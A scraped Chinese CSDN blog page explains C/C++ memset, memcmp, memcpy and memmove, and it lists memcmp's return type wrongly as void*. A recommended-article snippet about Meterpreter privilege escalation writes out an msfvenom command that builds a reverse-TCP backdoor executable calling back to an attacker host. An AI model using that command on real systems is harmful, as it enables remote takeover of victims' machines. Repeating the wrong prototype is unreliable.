mem系列函数使用总结_mem函数-程序员宅基地

技术标签: C/C++  

mem系列函数是我们在平时写C++的过程中经常会用到的函数,现在写一篇博客来总结一下它们的用法。mem系列函数主要是用来操作内存,使用这些函数需要在源文件中包含头文件cstring。

 

  • memset

函数原型:void *memset(void*s ,int ch,size_t n);

函数描述:将内存地址s处的n个字节的每个字节都替换为ch,并返回s。

memset函数经常用来进行数组的初始化,s即为数组的首地址,n为数组s的大小(字节数)。一般使用memset进行数值类型的数组初始化的时候,只有两种赋值方法,一种是令ch=0,另一种是令ch=-1;之所以这样赋值,是因为memset函数是按字节进行赋值的,而int、float、double等数值类型至少是四个字节或者更多,单个字节的重复赋值就导致没有办法正确地为这种多字节类型的数组进行初始化。而ch=0和ch=-1之所以可以是因为,在二进制补码中ch=0按字节表示为0000 0000,而ch=-1用二进制补码的表示为1111 1111,就4字节的int类型而言,经过多次按字节赋值后0000 0000 0000 0000 0000 0000 0000 0000仍然表示0,同样的1111 1111 1111 1111 1111 1111 1111 1111仍然表示-1。这就是为什么我们要通过memset对数值型的数组进行初始化的时候一般只使用ch=0和ch=-1的原因。当然如果是字符型数组的初始化那就另当别论了,主要原因是因为char类型的长度正好是一个字节,也就是说我们可以使用memset函数将内存s处初始化为n长度的任意字符。

 

  • memcmp

函数原型:void *memcmp(const void*buf1,const void *buf2,unsigned int count);

函数描述:比较内存区域buf1和buf2的前count个字节
当buf1<buf2时,返回值小于0
当buf1==buf2时,返回值=0
当buf1>buf2时,返回值大于0

memcmp使用的地方也非常的多,可以用它来快速比较内存中两块大小相同的区域的内容是否完全相同,比如比较两个数组中等长的一部分所有的元素是否完全相同、比较两个复杂结构体对象是否完全相同(避免了结构体中所有变量的多次比较),count的取值也就是要比较部分的字节数,一般使用sizeof来自动计算字节数。

 

  • memcpy

函数原型:void *memcpy(void* d,const void*s,size_t n)

函数描述:内存拷贝,将地址s位置的连续n个字节的内容复制到从地址d开始的内存空间上来。

可以进行快速的数组拷贝和结构体和类对象的复制,但是存在一个问题就是,如果被拷贝的源内存区域和写入的目标内存区域存在重叠的部分,那么memcpy不能保证最终拷贝结果的正确性,这个时候就需要用到memmove函数。

 

  • memmove

函数原型:void *memmove(void* dest,const void* src,size_t count);

函数描述:由src所指的内存区域复制count个字节到dest所指的内存区域。

上面也讲到了memcpy和memmove的不同,其实它们的作用都是内存信息的复制,但是在源内存区域和目标内存区域存在重叠的部分的时候,memmove是可以保证结果的正确性的。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_32864683/article/details/82996492

智能推荐

GATK4重测序数据怎么分析?上游分析标准流程_wgs gatk-程序员宅基地

文章浏览阅读707次,点赞2次,收藏3次。比对的结果将以 SAM 格式保存在指定路径下的文件中,同时使用 23 个线程来加速比对过程,元数据标签描述了测序数据的一些信息,如样本名称、测序平台等。重测序技术的应用广泛,包括基因组测序、转录组测序、外显子测序等,为生物学研究、医学诊断和个体化治疗等领域提供了重要的工具和数据基础。首先建立一个项目文件夹,将原始的测序数据放在数据目录下,通常采用二代高通量测序,每个样品下机数据为两个fq文件,成对存在,以下代码流程需要根据自己的实际需要进行修改,此处只作为示例,部分方法借鉴了网上公开信息和软件手册。_wgs gatk

ubuntu 开机进入不了图形界面-程序员宅基地

文章浏览阅读825次。在开机的时候有注意到空间不足。第二天重启的时候进入不了系统。但是 ctrl + alt _F6 可以进入shell .于是估计是空间不足导致进入不了系统。找到哪里文件夹空间异常的大就可以解决问题。du -h --max-depth=1 work/testing 类似如左边的方式找到文件夹。发现在/var/lib/apt/ 文件夹过大。原来是因为在/etc/..._ubuntu系统进不去图形界面

(笔记)Mysql命令show databases:显示所有数据库-程序员宅基地

文章浏览阅读2.1k次。 show databases命令用于显示所有数据库。show databases命令格式:show databases; (注意:最后有个s)例如:mysql&gt; show databases;注意:为了不在显示的时候乱码,要修改数据库默认编码。以下以GBK编码页面为例进行说明。1) 修改MYSQL的配置文件:my.ini里面修改default-character-set=gbk2) 代..._显示当前所有数据库的命令是( )。 a show databases b show database c list

中文版orgin图像数字化工具_Origin数字化(Digitize)插件介绍(提取图片或扫描格式图形数据点)...-程序员宅基地

文章浏览阅读4.9k次。数字化(Digitize)插件介绍数宇化插件为origin网站提供的极为有用的免费插件之一,该插件可将普通曲线图直接在origin中数字化.例如,以通过扫描仪将曲线图扫入计算机,或在网上获取的电子资料曲线图等。这些以图形格式保存的曲线线,能方便地通过数字化插件在origin软件中数字化。Digitize自带了帮助,以下简要介绍该插件的安装和使用。1.下载数字化插件在http://www.orig..._originpro digitize

经济数据预测 | Python实现ARIMA模型股票趋势预测_spyder股票价格涨跌趋势预测模型构建-程序员宅基地

文章浏览阅读5k次,点赞2次,收藏17次。经济数据预测| Python实现ARIMA模型股票趋势预测目录经济数据预测| Python实现ARIMA模型股票趋势预测基本介绍数据描述程序设计参考资料基本介绍随着人们生活水平的提高,人们的投资方式也在发生着巨大的变化,越来越多的人开始关注并参与到股票市场投资中去。股票具有高收益的同时也具有高风险性,股票市场受众多因素的影响,价格令人无法捉摸,股票价格预测的研究具有巨大的价值,因此对于股票价格的预测从股票市场诞生之日起,就成了股民与学者们不懈探索的难题。本文以此为背景,建立ARIMA模型,用于研究_spyder股票价格涨跌趋势预测模型构建

sudo apt-get install -f 超级实用Ubuntu 命令 解决安装软件依赖项_sudo apt-get -f install-程序员宅基地

文章浏览阅读1.4w次,点赞9次,收藏45次。大家在使用Ubuntu系统安装各种软件的时候,总会碰到各种缺少依赖的问题,今天介绍一键解决各种依赖问题当大家安装一款软件时 例如 本人安装TeamViewer 的时候缺少多种依赖项这时候一个一个敲肯定是费劲的,也有可能根本不知道怎么安装,这时候只要在后边紧跟一条命令即可sudo apt-get install -f超级实用,这条命令就是 解决依赖项的,注意紧跟安装前一条命令后..._sudo apt-get -f install

随便推点

MSM平台RPM_resource power manager-程序员宅基地

文章浏览阅读1.3k次。FROM:https://blog.csdn.net/hongzg1982/article/details/56516147Software Component Block DiagramRPM(Resource Power Manager)是高通MSM平台另外加的一块芯片,虽然与AP芯片打包在一起,但其是一个独立的ARM Core。之所以加这个东西,就是要控制整个电源相关的shared ..._resource power manager

Meterpreter提权详解-程序员宅基地

文章浏览阅读222次。0x01 Meterpreter自动提权1.生成后门程序我们在kali的命令行下直接执行以下命令获得一个针对windows的反弹型木马:msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.11.2 lport=4444 -f exe -o /tmp/hack.exe这里我们为生成的木马指定了payload为:windows/m..._meterpreter中的getsystem是如何实现提权的效果

css声明由什么组成,css每条声明由一个什么组成-程序员宅基地

文章浏览阅读1.3k次。在css中,每条声明由“属性”和“属性值”组成,并用分号来标识一个声明的结束,在一个样式中最后一个声明可以省略分号;所有声明被放置在一对大括号“{}”内,然后整体紧邻选择器的后面。本教程操作环境:windows7系统、CSS3版、Dell G3电脑。CSS样式及其基本语法CSS 代码可以在任何文本编辑器中打开和编辑。因此,不管读者有没有编程基础,初次接触 CSS 时会感到很简单。本节将介绍 CSS..._声明由什么组成

AES加密 — 详解-程序员宅基地

文章浏览阅读3w次,点赞21次,收藏143次。转载请标明出处:http://blog.csdn.net/zhaoyanjun6/article/details/120285594本文出自【赵彦军的博客】AES 简介DES 全称为Data Encryption Standard,即数据加密标准,是一种使用密钥加密的块算法,1977年被美国联邦政府的国家标准局确定为联邦资料处理标准(FIPS)AES 密码学中的高级加密标准(Advanced Encryption Standard,AES),又称Rijndael加密法,是美国联邦政府采用的一种._aes加密

实用技巧--CAD制作空心文字【中级】-程序员宅基地

文章浏览阅读1.6k次。实际工作中,cad的空心字一般有以下用途:一、可以用于标题栏的作者署名(个人的艺术签名);二、可以用于线切割行业,进行文字切割;三、一些特别的字体--cad常规字体库没有的,需要描出来的..._cad 镂空文字 et扩展

SARscape数据处理SAR数据笔记——DINSAR微小形变提取_sarscape处理哨兵dinsar-程序员宅基地

文章浏览阅读1.2w次,点赞8次,收藏109次。SARscape数据处理SAR数据笔记——DINSAR微小形变提取在InSAR技术的基础上,如果重复进行干涉成像或结合己有的精细DEM数据来消除干涉图中地形因素的影响,可以检测出地表的微小形变,这是。DInSAR的技术基础。数据类型:震间两景SentinellA IW slc VV极化方式影像。1.设置系统参数/SARsca pe/Preferences,设置Load Preference..._sarscape处理哨兵dinsar

推荐文章

热门文章

相关标签